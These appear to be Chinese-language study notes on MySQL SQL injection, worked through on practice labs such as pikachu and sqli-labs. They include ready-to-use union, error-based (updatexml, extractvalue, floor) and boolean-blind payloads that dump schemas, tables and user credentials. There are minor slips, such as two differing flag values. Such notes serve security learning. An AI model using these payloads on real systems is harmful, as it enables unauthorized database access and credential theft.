SQL注入学习笔记整理

1、sql注入的基础知识

1.11、数据库中的逻辑运算符

或 且 非

or and not

真 且 真 =真

真 且 假 =假

真 或 假 =真

and 比 or 的优先级要高

1.12、mysql相关语法

注释:

#

-- --空格

/* */

/*! */ 内联查询

常见函数与参数:

SQL注入学习笔记整理_第1张图片

SQL注入学习笔记整理_第2张图片

substring(string,position) 从某个位置开始截取字符串

substr(string,start,length) 截取字符串的一部分

left(str,length) 从左开始截取指定长度的字符串

ASCII(str1)

返回字符串str的最左面字符的ASCII代码值

ORD() 函数

ORD() 函数返回字符串第一个字符的ASCII 值

SQL注入学习笔记整理_第3张图片

SQL注入学习笔记整理_第4张图片

深度讲解:sql语句

SQL注入学习笔记整理_第5张图片

SQL注入学习笔记整理_第6张图片

1.2、数据库的版本

一般以5.0区分

1、在mysql 5.0以上版本中,

mysql存在一个自带数据库名为information_schema,

它是一个存储记录所有数据库名、表名、列名的数据库

information_schema``````````````sql自带的元库

----schemata··············记录库名的表

--------schema_name·········库名

----tables···················记录表名的表

--------table_schema··········库名

--------table_name·············表名

----columns················记录列名的表

--------table_schema··········库名

--------table_name

--------column_name··········列名

也相当于可以通过查询它来获取指定数据库下面的表名或列名信息,因此在注入的第一步就是获取数据库的版本和库名

2、而低版本,采取暴力查询或结合读取查询

1.3、信息收集

数据库版本 version() 5.7.22-0ubuntu0.16.04.1

数据库名字 database() mozhe_Discuz_StormGroup

数据库用户 user() root@localhost

操作系统 @@version_compile_os

数据库中符号"."代表下一级,如xiao.user表示xiao数据库下的user表名

1.4、注入思路

SQL注入思路

SQL注入学习笔记整理_第7张图片

御剑扫描网站后台

思路如下:

1 判断交互方式 get/post/http head

2 预判数据库执行语句

3 判断提交数据的闭合方式 整形、‘ ’、“ ”,(),(‘ ’),(“ ”) 快速判断闭合方式 and 1=1 和and 1=2

4 构造语句打破闭合

5 构造联合查询判断输出位 通过order by 判断列数 建议使用二分法

1.5、注入分类

根据注入点的分类

SQL注入学习笔记整理_第8张图片

根据注入手法分类

SQL注入学习笔记整理_第9张图片

2、注入过程

2.1、SQL 注入点的判断

?id=34 +1/-1-------页面有回显--------联合查询(可跨库、跨表)

猜测代码:select * from tablename where id=$id

字符型?数字型?

?id=35' ---------报错有回显--------报错注入

报错:near ' ' ' at line 1-----------左右两边的'是报错语句自带的

说明错误代码多了一个 '

' 前面的代码正确,说明是数字型

猜测代码:select * from tablename where id=35'

?id=35 and 1=1 是否有布尔类型的状态-------布尔盲注

?id=35 and 1=2

猜测代码:select * from tablename where id=35 and 1=1

猜测代码:select * from tablename where id=35 and 1=2

?id=35 and sleep(5) 观察是否有延时显示-----延时注入

通过浏览器F12,网络,时间线即可准确判断

2.2、确定闭合符

数字型,一般没有闭合符

字符型,一定有闭合符

常见闭合符:

' 单引号

" 双引号

( )括号

[ ] 方括号

以上四种均可以自由组合

2.21有报错回显的情况

报错回显是最简单的判断闭合符方法,举例:

?id=1' 报错:near ' ' ' at line 1-----------左右两边的'是报错语句自带的

说明错误代码多了一个 ' , ' 前面的代码正确,说明是数字型。

?id=1' 报错:near ''1'' LIMIT 0,1' at line 1-----去掉报错语句的两个单引号后,真正的报错语句:'1'' LIMIT 0,1

由于1'是我们自己输入的,所以剩下的闭合符:' ' 两个单引号

因此闭合符为单引号。

进一步确定闭合符:

注释:?id=1' --+ 回显正常,说明就是单引号闭合

?id=1' and '1'='1 回显正常,说明就是单引号闭合

2.22、无报错回显,只能猜

1、猜测:where id=$id

id=1 and 1=1 正常

id=1 and 1=2 不正常

2、猜测:where id=’$id’

id=1’ and ‘1’=‘1 正常

id=1’ and ‘1’=‘2 错误(这时,可以确定sql语句可以正常执行了)

3、猜测:where id="$id"

id=1" and “1”=“1 正常

id=1” and “1”="2 正常

4、猜测:where id=(’$id’)

id=1’) and (‘1’=‘1 正常

id=1’) and (‘1’=‘2 错误(这时,可以确定sql语句可以正常执行了,排除上面单引号闭合)

5、猜测:where id=((’$id’))

id=1’)) and ((‘1’=‘1 正常

id=1’)) and ((‘1’=‘1 错误(这时,可以确定sql语句可以正常执行了,排除上面 ') 方式闭合)

6、猜测:where id=(((’$id’)))

id=1’))) and (((‘1’='1 错误,并且,这里的错误与前面的不一样,具体看下面的截图

到这里,单引号加括号的组合就不用再试了,最有可能的就是 ‘))

7、猜测:where id=("$id")

id=1") and (“1”=“1 正常

id=1”) and (“1”="2 正常

到这里已经可以肯定闭合符号就是’))

————————————————

特别注意:

  1. 在测试闭合符号的时候,如果sql语句能够执行,闭合符号也不一定正确,在测试的过程中要注意这种带括号的闭合符号,避免出错

  2. 有括号的时候,不带括号,或者括号少于真实数量的时候,sql语句是可以执行的,但是后面如果要拼接order by、union select这样子就不行了。

2.3、联合查询

union select:联合查询的解释

SQL注入学习笔记整理_第10张图片

order by

作用是判断当前table的字段数,这是进行union select的必要条件

SQL注入学习笔记整理_第11张图片

在这里使用1,2,3,4,5,6,7。。。。。

是因为数字可以自动转换成字符串,所以符合联合查询的要求

获取基础数据

union select database(),user()

  • database()将会返回当前网站所使用的数据库名字.

  • user()将会返回执行当前查询的用户名.

union select version(),@@version_compile_os

  • version() 获取当前数据库版本.

  • @@version_compile_os 获取当前操作系统

SQL注入学习笔记整理_第12张图片

获取表名,字段(列)名

SQL注入学习笔记整理_第13张图片

SQL注入学习笔记整理_第14张图片

获取指定数据

SQL注入学习笔记整理_第15张图片

pikachu第二关测试

SQL injections Less-2 模拟

获取所有数据库名

id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

回显 information_schema,challenges,db1,mysql,performance_schema,pikachu,security,sys

获取指定数据库名下的表名信息

id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'

回显

httpinfo,member,message,users,xssblind

获取指定数据库pikachu下表users的列名数据

id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'

回显

id,username,password,level

获取指定表内的数据

id=-1 union select 1,username,password from pikachu.users

回显

admin e10adc3949ba59abbe56e057f20f883e

2.4、报错注入

2.41、 updatexml报错

首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为:

updatexml(1,concat(0x7e,database(),0x7e),1) sqli-labs第20关验证

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

id=1' 错误 id=1" 正常 id=1' --+正常,说明是单引号字符串

?id=-1' and updatexml(1,concat(0x7e,version(),0x7e),1) --+ 回显版本5.7.26

替换database()得到security

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

回显 '~emails,referers,uagents,users~'

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

回显 '~id,username,password~'

?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) --+

回显用户名,因为updatexml()这个函数最多只能爆32位字符,而我们要爆的数据超过了这个位数,所以我们一个一个的查,使用limit 0,1来实现

'~flag{f99c688f101bb53fdbf178a89182e}'

flag{f99c688f101bb53fdbf178ad0889182e}

2.42、extractvalue报错

?id=1 and extractvalue(1,concat(0x7e,(select user()))) --+

使用方法与updatexml一样

2.43、floor报错 即双查询注入

?id=1' union Select 1,count(*),concat((select user()),floor(rand(0)*2)) as a from information_schema.columns group by a--+

回显 'root@localhost1'

-----------------------------

?id=1' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

回显所有数据库名(最多64字符)

----------------------------------

?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+

回显第一个表名

--------------------------------

?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+

回显第一个列名

------------------------------

?id=1' union select count(*),1, concat('~',(select username from users limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a --+

回显 第一个用户名

特别注意:

updatexml和extractvalue爆出来的数据最多只有32位,但是数据库存的是password的MD5值,有32位,所以说得到的md5是不对的,需要进行两次注入才能得到完整的密码,以extractvalue()函数为例:

user=123' or extractvalue(1,concat((select concat(0x7e,password) from manage)))#&password=

user=123' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#&password=

————————————————

2.5、布尔盲注

?id=35 and 1=1 正常

?id=35 and 1=2 异常

说明存在布尔类型的状态-------布尔盲注

1首先猜长度

?id=35 and length(database())<10 正常说明数据库名的长度小于10

?id=35 and length(database())<5 错误说明长度大于5

?id=35 and length(database())=3 正常说明长度为3

2从第一个字母开始猜

?id=35 and ascii(substr(database(),1,1))>64 判断第一个字母的ascii是否>68

二分法,极限中的夹逼准则,能够减少猜测次数

你可能感兴趣的:(学习笔记,sql,数据库,mysql)